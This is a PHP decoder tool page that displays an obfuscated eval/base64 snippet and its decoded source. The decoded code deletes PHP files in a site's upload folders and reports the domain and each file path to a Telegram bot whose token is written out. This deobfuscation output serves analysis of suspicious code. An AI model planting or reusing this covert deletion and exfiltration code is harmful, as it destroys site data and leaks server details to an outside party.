Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGk2WHBrOyBJMGVveDogJGRvbWFpbiAuPSAkX1NFUlZFUlsiXHg0OFx4..

Decoded Output download


 goto i6Xpk; I0eox: $domain .= $_SERVER["\x48\x54\x54\120\x5f\x48\117\123\124"]; goto K7vqj; K7vqj: function sendTelegramNotification($message, $telegramToken, $chatId) { $url = "\x68\164\x74\160\x73\72\57\x2f\141\x70\x69\x2e\164\x65\154\145\x67\x72\141\x6d\x2e\x6f\162\147\x2f\x62\x6f\x74{$telegramToken}\57\163\145\156\x64\x4d\x65\163\x73\141\x67\x65"; $postData = array("\143\150\x61\164\x5f\151\144" => $chatId, "\164\145\170\x74" => $message); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch); } goto TUNVQ; LGW_H: foreach ($directories as $directory) { if (is_dir($directory)) { scanDirectories($directory, $domain, $telegramToken, $chatId); } } goto vzvd_; i6Xpk: $telegramToken = "\67\x33\64\62\66\x33\x33\67\70\70\x3a\x41\101\x47\152\x35\102\x64\x41\163\165\65\x76\160\x44\106\105\71\x5a\x30\67\x56\x4e\141\145\151\x63\130\167\155\146\x52\124\x53\172\111"; goto FhuAq; FhuAq: $chatId = "\x37\x31\70\x32\64\60\x34\x34\64\x36"; goto fvLG8; fvLG8: $directories = array("\165\160\154\x6f\x61\x64", "\165\x70\154\157\x61\x64\x73"); goto ZHasa; ZHasa: $domain = ($_SERVER["\x48\124\x54\120\x53"] ?? "\157\146\146") === "\157\x6e" ? "\x68\164\164\160\x73\72\x2f\x2f" : "\150\164\x74\x70\x3a\x2f\x2f"; goto I0eox; TUNVQ: function scanDirectories($dir, $domain, $telegramToken, $chatId) { $files = scandir($dir); foreach ($files as $file) { if ($file === "\x2e" || $file === "\x2e\56") { continue; } $filePath = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { scanDirectories($filePath, $domain, $telegramToken, $chatId); } else { if (preg_match("\57\x5c\56\x70\150\x70\x5c\x2e\133\141\55\x7a\101\55\x5a\60\x2d\71\135\53\44\57", $file)) { $message = "\125\x72\154\x3a\40{$domain}\xa\52\x20\x46\151\154\x65\x20{$filePath}\40\x64\151\164\x65\x6d\x75\153\x61\156\41\xa\52\x20\x46\x69\154\145\40{$filePath}\x20\164\145\x6c\x61\x68\40\x64\x69\x68\141\x70\x75\x73\41"; sendTelegramNotification($message, $telegramToken, $chatId); unlink($filePath); } if (preg_match("\57\134\56\160\x68\x70\x24\57", $file) && strtolower($file) !== "\x69\156\144\x65\x78\x2e\160\150\x70") { $message = "\x55\x72\154\x3a\x20{$domain}\12\x2a\40\x46\x69\x6c\x65\x20{$filePath}\40\x64\x69\164\145\155\165\x6b\x61\156\x21\12\x2a\x20\106\x69\154\145\x20{$filePath}\40\164\x65\x6c\141\x68\x20\144\151\150\x61\x70\x75\x73\41"; sendTelegramNotification($message, $telegramToken, $chatId); unlink($filePath); } } } } goto LGW_H; vzvd_:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIGk2WHBrOyBJMGVveDogJGRvbWFpbiAuPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFx4NWZceDQ4XDExN1wxMjNcMTI0Il07IGdvdG8gSzd2cWo7IEs3dnFqOiBmdW5jdGlvbiBzZW5kVGVsZWdyYW1Ob3RpZmljYXRpb24oJG1lc3NhZ2UsICR0ZWxlZ3JhbVRva2VuLCAkY2hhdElkKSB7ICR1cmwgPSAiXHg2OFwxNjRceDc0XDE2MFx4NzNcNzJcNTdceDJmXDE0MVx4NzBceDY5XHgyZVwxNjRceDY1XDE1NFwxNDVceDY3XHg3MlwxNDFceDZkXHgyZVx4NmZcMTYyXDE0N1x4MmZceDYyXHg2Zlx4NzR7JHRlbGVncmFtVG9rZW59XDU3XDE2M1wxNDVcMTU2XHg2NFx4NGRceDY1XDE2M1x4NzNcMTQxXHg2N1x4NjUiOyAkcG9zdERhdGEgPSBhcnJheSgiXDE0M1wxNTBceDYxXDE2NFx4NWZcMTUxXDE0NCIgPT4gJGNoYXRJZCwgIlwxNjRcMTQ1XDE3MFx4NzQiID0+ICRtZXNzYWdlKTsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcG9zdERhdGEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyB9IGdvdG8gVFVOVlE7IExHV19IOiBmb3JlYWNoICgkZGlyZWN0b3JpZXMgYXMgJGRpcmVjdG9yeSkgeyBpZiAoaXNfZGlyKCRkaXJlY3RvcnkpKSB7IHNjYW5EaXJlY3RvcmllcygkZGlyZWN0b3J5LCAkZG9tYWluLCAkdGVsZWdyYW1Ub2tlbiwgJGNoYXRJZCk7IH0gfSBnb3RvIHZ6dmRfOyBpNlhwazogJHRlbGVncmFtVG9rZW4gPSAiXDY3XHgzM1w2NFw2Mlw2Nlx4MzNceDMzXDY3XDcwXDcwXHgzYVx4NDFcMTAxXHg0N1wxNTJceDM1XDEwMlx4NjRceDQxXDE2M1wxNjVcNjVceDc2XDE2MFx4NDRcMTA2XDEwNVw3MVx4NWFceDMwXDY3XHg1Nlx4NGVcMTQxXDE0NVwxNTFceDYzXDEzMFwxNjdcMTU1XDE0Nlx4NTJcMTI0XHg1M1wxNzJcMTExIjsgZ290byBGaHVBcTsgRmh1QXE6ICRjaGF0SWQgPSAiXHgzN1x4MzFcNzBceDMyXDY0XDYwXHgzNFx4MzRcNjRceDM2IjsgZ290byBmdkxHODsgZnZMRzg6ICRkaXJlY3RvcmllcyA9IGFycmF5KCJcMTY1XDE2MFwxNTRceDZmXHg2MVx4NjQiLCAiXDE2NVx4NzBcMTU0XDE1N1x4NjFceDY0XHg3MyIpOyBnb3RvIFpIYXNhOyBaSGFzYTogJGRvbWFpbiA9ICgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NTMiXSA/PyAiXDE1N1wxNDZcMTQ2IikgPT09ICJcMTU3XHg2ZSIgPyAiXHg2OFwxNjRcMTY0XDE2MFx4NzNcNzJceDJmXHgyZiIgOiAiXDE1MFwxNjRceDc0XHg3MFx4M2FceDJmXHgyZiI7IGdvdG8gSTBlb3g7IFRVTlZROiBmdW5jdGlvbiBzY2FuRGlyZWN0b3JpZXMoJGRpciwgJGRvbWFpbiwgJHRlbGVncmFtVG9rZW4sICRjaGF0SWQpIHsgJGZpbGVzID0gc2NhbmRpcigkZGlyKTsgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7IGlmICgkZmlsZSA9PT0gIlx4MmUiIHx8ICRmaWxlID09PSAiXHgyZVw1NiIpIHsgY29udGludWU7IH0gJGZpbGVQYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsgaWYgKGlzX2RpcigkZmlsZVBhdGgpKSB7IHNjYW5EaXJlY3RvcmllcygkZmlsZVBhdGgsICRkb21haW4sICR0ZWxlZ3JhbVRva2VuLCAkY2hhdElkKTsgfSBlbHNlIHsgaWYgKHByZWdfbWF0Y2goIlw1N1x4NWNcNTZceDcwXDE1MFx4NzBceDVjXHgyZVwxMzNcMTQxXDU1XHg3YVwxMDFcNTVceDVhXDYwXHgyZFw3MVwxMzVcNTNcNDRcNTciLCAkZmlsZSkpIHsgJG1lc3NhZ2UgPSAiXDEyNVx4NzJcMTU0XHgzYVw0MHskZG9tYWlufVx4YVw1Mlx4MjBceDQ2XDE1MVwxNTRceDY1XHgyMHskZmlsZVBhdGh9XDQwXHg2NFwxNTFcMTY0XHg2NVx4NmRceDc1XDE1M1x4NjFcMTU2XDQxXHhhXDUyXHgyMFx4NDZceDY5XDE1NFwxNDVcNDB7JGZpbGVQYXRofVx4MjBcMTY0XDE0NVx4NmNceDYxXHg2OFw0MFx4NjRceDY5XHg2OFwxNDFceDcwXHg3NVx4NzNcNDEiOyBzZW5kVGVsZWdyYW1Ob3RpZmljYXRpb24oJG1lc3NhZ2UsICR0ZWxlZ3JhbVRva2VuLCAkY2hhdElkKTsgdW5saW5rKCRmaWxlUGF0aCk7IH0gaWYgKHByZWdfbWF0Y2goIlw1N1wxMzRcNTZcMTYwXHg2OFx4NzBceDI0XDU3IiwgJGZpbGUpICYmIHN0cnRvbG93ZXIoJGZpbGUpICE9PSAiXHg2OVwxNTZcMTQ0XHg2NVx4NzhceDJlXDE2MFwxNTBceDcwIikgeyAkbWVzc2FnZSA9ICJceDU1XHg3MlwxNTRceDNhXHgyMHskZG9tYWlufVwxMlx4MmFcNDBceDQ2XHg2OVx4NmNceDY1XHgyMHskZmlsZVBhdGh9XDQwXHg2NFx4NjlcMTY0XDE0NVwxNTVcMTY1XHg2Ylx4NjFcMTU2XHgyMVwxMlx4MmFceDIwXDEwNlx4NjlcMTU0XDE0NVx4MjB7JGZpbGVQYXRofVw0MFwxNjRceDY1XHg2Y1wxNDFceDY4XHgyMFwxNDRcMTUxXDE1MFx4NjFceDcwXHg3NVx4NzNcNDEiOyBzZW5kVGVsZWdyYW1Ob3RpZmljYXRpb24oJG1lc3NhZ2UsICR0ZWxlZ3JhbVRva2VuLCAkY2hhdElkKTsgdW5saW5rKCRmaWxlUGF0aCk7IH0gfSB9IH0gZ290byBMR1dfSDsgdnp2ZF86IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 55c978fe60fac97e479f26652492ce08
Eval Count 1
Decode Time 90 ms